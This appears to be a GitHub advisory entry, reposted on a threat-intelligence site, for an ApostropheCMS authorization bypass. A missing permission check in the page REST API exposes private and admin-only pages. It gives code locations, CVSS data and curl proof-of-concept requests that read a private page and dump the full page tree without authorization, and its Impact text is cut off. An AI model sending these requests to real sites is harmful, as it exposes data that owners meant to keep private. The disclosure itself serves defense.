CVE-2026-113670
**Summary** The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug. **Details** `packages/apostrophe/modules/@apostrophecms/page/index.js`: - `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering. - `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`. - `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization. - Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`. **PoC** ``` # Anonymous (no session) — private, admin-only page: curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published" # → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page", # "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"} # Anonymous full site-map dump (includes private + loginRequired pages): curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree # Contributor (cont_admin) reads full admin-only doc incl. protected field: curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published" # → 200 secretData = TOP-SECRET-VALUE-abc123 # Controls (correctly enforced): curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403 curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403 ``` **Impact** Unauthenticated d
Properties
- Summary
- ApostropheCMS: Page REST API authorization bypass
- Severity
- medium
- Nvd fetched at
- 2026-10-20T21:14:08.448323+00:00
- Cvss score
- 5.3
- Cvss severity
- MEDIUM
- Retrieved at
- 2026-10-21T01:23:59+00:00
- Ghsa published
- 2026-10-20T18:13:08Z
- Source url
- https://github.com/advisories/GHSA-2j32-q6rx-h844
- Ghsa updated
- 2026-10-20T18:13:09Z
- Ghsa id
- GHSA-2j32-q6rx-h844
- Last source
- GitHub Advisory Database
- Score
- 5.3
- Cvss version
- 3.1
- Cve id
- CVE-2026-113670
- Cvss vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- First seen by Signal
- 2026-10-20T21:15:35+00:00
- Is ghsa only
- false
- Vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Published at
- 2026-10-20T18:17:20.680
- Last modified
- 2026-10-20T19:53:10.247
Related Entities (3)
AFFECTS (1)
HAS_WEAKNESS (1)
VULNERABLE_TO (1)
Explore deeper with Ninja Signal's threat intelligence graph